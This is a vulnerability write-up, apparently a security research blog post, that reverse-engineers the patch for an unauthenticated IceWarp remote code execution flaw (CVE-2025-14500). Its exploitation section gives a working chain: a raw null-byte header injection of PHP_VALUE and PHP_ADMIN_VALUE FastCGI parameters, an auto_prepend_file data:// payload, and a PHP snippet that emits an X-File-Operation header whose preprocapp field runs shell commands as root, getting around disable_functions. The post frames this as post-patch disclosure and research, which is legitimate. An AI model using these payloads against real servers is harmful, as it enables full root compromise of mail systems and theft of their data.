TL;DR
CVE-2025-14500 is an unauthenticated RCE in IceWarp. Despite being described as an X-File-Operation command injection, the bug is actually a missing null-byte check while building FastCGI parameters for PHP.
Injecting a null byte into a request header lets an attacker control the FastCGI parameters that follow, leading to command execution as root.
X-File-Operation only comes into play later in the chain.
There is no working public PoC for this. A couple of things claiming to be one exist. They don’t work.
About that name
Here is how ZDI describes it:

Reading the advisory, the obvious assumption is that X-File-Operation is a request header and that command injection happens through it. That is not the case.
IceWarp does not read X-File-Operation from the incoming request. The header is produced by the PHP backend and consumed internally by IceWarp as a control header, for example to instruct the front end to return a file.
This means you cannot attack X-File-Operation directly from the outside. To control it, you would already need a way to influence what the PHP backend returns.
That distinction ended up being important. The advisory names the mechanism involved near the end of the exploit chain, not the actual entry point.
The Stack
IceWarp isn’t one process. It is a set of native daemons, most of them built from the same big Pascal codebase. On a running box you get roughly:
control the web / control server (HTTP and HTTPS)
smtp mail submission and transfer
pop3 mailbox access
im XMPP
gw groupware
php-fpm the PHP backend, a master and a pool of workers
A quick note on the codebase: IceWarp appears to be written largely in Delphi, with references such as NXT_DELPHI_CALLBACK_TABLE, TDELPHIZXINGQRCODE, api/delphi/, and BORLAND. The Linux binaries are compiled with Free Pascal, so the disassembly contains FPC runtime symbols such as fpc_ansistr_incr_ref and $FPC_INTERN_CLASSTABLE.

Two of these daemons matter for the web attack surface:
control is the native web server. It terminates TLS, routes, checks auth, serves static files, and decides what to do with dynamic content. It is about 80 MB of Pascal, and the same web-handling code is statically linked into several of the other daemons too, which is why some functions turn up in more than one binary later.
php-fpm is stock PHP sitting behind control on a FastCGI socket at /opt/icewarp/var/php.socket. When control decides a request maps to a PHP file (and by default that includes .html and .wml), it does not run PHP itself. It builds a set of FastCGI parameters out of the request (SERVER_NAME, QUERY_STRING, CONTENT_TYPE, every HTTP_* header) and ships them over the socket. On the way back control scans those response headers for a few internal ones it cares about. X-File-Operation is one of them.
So a request crosses a boundary: you, then control, then FastCGI, then php-fpm, then back to control.

Reading the patch
We have diffed 14.0.0.17 against 14.2.0.9 which contained a giant TeamChat rewrite, so thousands of functions changed for reasons that have nothing to do with any of this. Lots of places to get lost.
PROCESSFILEOPERATIONS, the function that parses X-File-Operation, dropped from 1504 bytes to 870. Whatever it used to do, it does less of it now. Pull the old version and the interesting branch is right there:
cmpq $0x0,-0x58(%rbp) ; filepath set?
je 10364e4 ; no -> skip
cmpq $0x0,-0x60(%rbp) ; preprocapp set?
je 10364e4 ; no -> skip
mov -0x60(%rbp),%rsi ; rsi = preprocapp (format string)
lea -0x78(%rbp),%rdi ; rdi = result buffer
call STRINGUNIT_$$_SAFEFORMAT ; result := SafeFormat(preprocapp, [filepath])
call SYSTEMUNIT_$$_EXECUTEMODAL ; run it
SafeFormat is IceWarp’s sprintf. ExecuteModal runs a command. In 14.2.0.9 that whole branch is gone, along with the preprocapp parameter it depended on. It reads exactly like The Fix, and if you stop reading here you will conclude the story is “they deleted preprocapp.”

And in php:
// html/_shared/tools/filesystem.php
- :229 header("X-File-Operation: filepath=".urlencode(self::truepath($path))."&delete=".($delete?1:0));
+ :210 header("X-File-Operation: filepath=".urlencode(self::truepath($path))."&delete=".($delete?1:0));
In PHP, there isn’t much going on. The other emitter, webdav/inc/response.php, only changed a hardcoded &delete=0 into a conditional. In other words the PHP that produces the header did not meaningfully change. There is no preprocapp here and no way to sneak one in, because the path is encoded and the rest is fixed. So the “producer” we have been hunting does not exist, and the one thing that does emit the header is a dead end.
The change that actually matters is somewhere else, and it is small enough to scroll past. One helper grew by 19 bytes:
WEBSERVICE.GETAPPPARAMS.ADDPARAM
14.0.0.17 0x860650 120 bytes
14.2.0.9 0xd59010 139 bytes
ADDPARAM builds one FastCGI parameter before it goes to php-fpm. It lays each one out as name, an equals sign, the value, and a null byte as the separator:
block := block + name + '=' + value + #0
14.0.0.17 does that without checking the value for anything. The patch adds one thing:
mov -0x10(%rbp),%rax ; the value
lea 0x585a46(%rip),%rdi ; "\x00"
call SYSTEM_$$_POS ; POS(#0, value)
test %eax,%eax
jne d59096 ; value contains a null? drop the parameter
Can you see it now? Because entries are separated by null bytes, a value with a null in it ends its own entry early, and whatever follows the null is read as more FastCGI parameters. ADDPARAM gets fed from our request headers. So a null byte in a header value lets you inject arbitrary FastCGI parameters into the request control sends to PHP.
Below is the fixed ADDPARAM function, and you can pretty much see where this is going from here.

The Exploit
Before building anything fancy, prove the injection works, and prove it somewhere you can see it. Two FastCGI parameters are special to php-fpm: PHP_VALUE and PHP_ADMIN_VALUE get applied as per-request php.ini settings. The stock config ships with display_errors = Off, so PHP errors never make it into the response. Flip that on with one injected parameter, and point auto_prepend_file at a file that does not exist with another, both after the null byte:
PoC: A\x00PHP_ADMIN_VALUE=display_errors=1\x00PHP_VALUE=auto_prepend_file=/tmp/does-not-exist
Without the null byte the endpoint answers normally. With it, the error comes straight back in the response body:

If auto_prepend_file plus allow_url_include rings a bell, it should. This is the same move as the classic php-cgi RCE, CVE-2012-1823, and its 2024 comeback CVE-2024-4577, the argument-injection bug 🍊Orange Tsai dropped 2 years ago. Different door in each case (query-string args there, FastCGI parameters here).
PHP Code Execution
data:// lets auto_prepend_file be an inline payload instead of a real file, so nothing has to touch disk. The request:
GET /webmail/ HTTP/1.1
Host: target
PoC: A\x00PHP_ADMIN_VALUE=allow_url_include=1\x00PHP_VALUE=auto_prepend_file="data://text/plain;base64,<BASE64>"
In practice:
<?php echo "abc\n";

One More Dance with disable_functions
At this point we pretty much have execution right? Wrong. The first thing worth doing with a file-read primitive is reading IceWarp’s own php.ini, and it ends the idea on the spot:
disable_functions = "escapeshellarg,escapeshellcmd,exec,fp,fput,passthru,popen,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_setuid,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,eval,chmod"
At this point, it almost feels like a CTF challenge. You have PHP code execution, but every obvious way to turn that into command execution is blocked.
The RCE
Here is what preprocapp is, now that it matters. X-File-Operation carries a few key=value fields. filepath names a file. preprocapp (best I can tell, “pre-processing application”) is a command template to run against it. When control sees both, it does what that old assembly showed: SafeFormat(preprocapp, [filepath]) drops the file path into the %s of the template, and ExecuteModal runs the result through a shell. It is a real feature for handing file work back to the native server. It is also a command line you control, if you can set the header.
So where does that string actually run? ExecuteModal wraps it in a process object and calls Execute, which drops into TEXECUTEMODALBASE.LINUXEXECUTE. It forks, and the child sets up its descriptors and then hands the command to a shell:

That last one is the trick for getting the output back without touching disk again. preprocapp is a pre-processing step, so control runs it and then sends filepath as the response. SafeFormat already turned id > %s into id > /tmp/out, so the command writes its output into the exact file control is about to return, and delete=1 wipes it once it is sent. The result comes straight back in the response body:
<?php
header("X-File-Operation: filepath=/tmp/xfo_out&preprocapp=id > %s&delete=1");

ADDPARAM is fed from everything the request carries into the FastCGI block, not just headers. The query string, the request URI, the content type, and the rest of the CGI variables all pass through it, so a null byte in any of them injects just the same. Headers are only the most convenient carrier. The one requirement is a raw 0x00 byte: a percent-encoded %00 gets decoded and caught by IceWarp’s own binary-zero filter, while the raw byte slips straight through.
So the chain is pretty much:
- Unauthenticated
GETto any PHP endpoint. - A raw null byte in a request header or query string, the check
ADDPARAMwas missing. - Everything after the null becomes injected FastCGI parameters. Send
PHP_ADMIN_VALUE=allow_url_include=1andPHP_VALUE=auto_prepend_file="data://...base64,<payload>". - Your PHP runs as root, before the target script.
php.inidisable_functionsblockssystemand friends, so instead of shelling out from PHP, the payload emitsheader("X-File-Operation: filepath=...&preprocapp=<cmd>&delete=0"); exit;.controlparses that response header and runs<cmd>as root throughSafeFormatandExecuteModal, outside PHP, wheredisable_functionshas no say.
Closing Thoughts
It has been the better part of a year since this was found and fixed, and the patch has been available across every supported branch since. Anyone updating on a reasonable cadence should be well clear of it by now, which is what made us comfortable publishing the full walkthrough rather than continuing to sit on the details.
Credit where it is due: the original finding is Oscar Bataille’s, reported through ZDI as ZDI-25-1072 and assigned CVE-2025-14500. The public advisory is deliberately light on internals, which is normal for this kind of disclosure. This post documents the path we took to understand and reproduce the vulnerability, primarily through binary diffing.
If we leave one thought, it is that severity and difficulty sit on different axes. A 9.8 that ultimately comes down to a missing NUL-byte check still took real work to find and reproduce, not because the bug itself was deep, but because the loud parts of the patch and the advisory’s naming pulled attention away from the one small change that actually mattered.
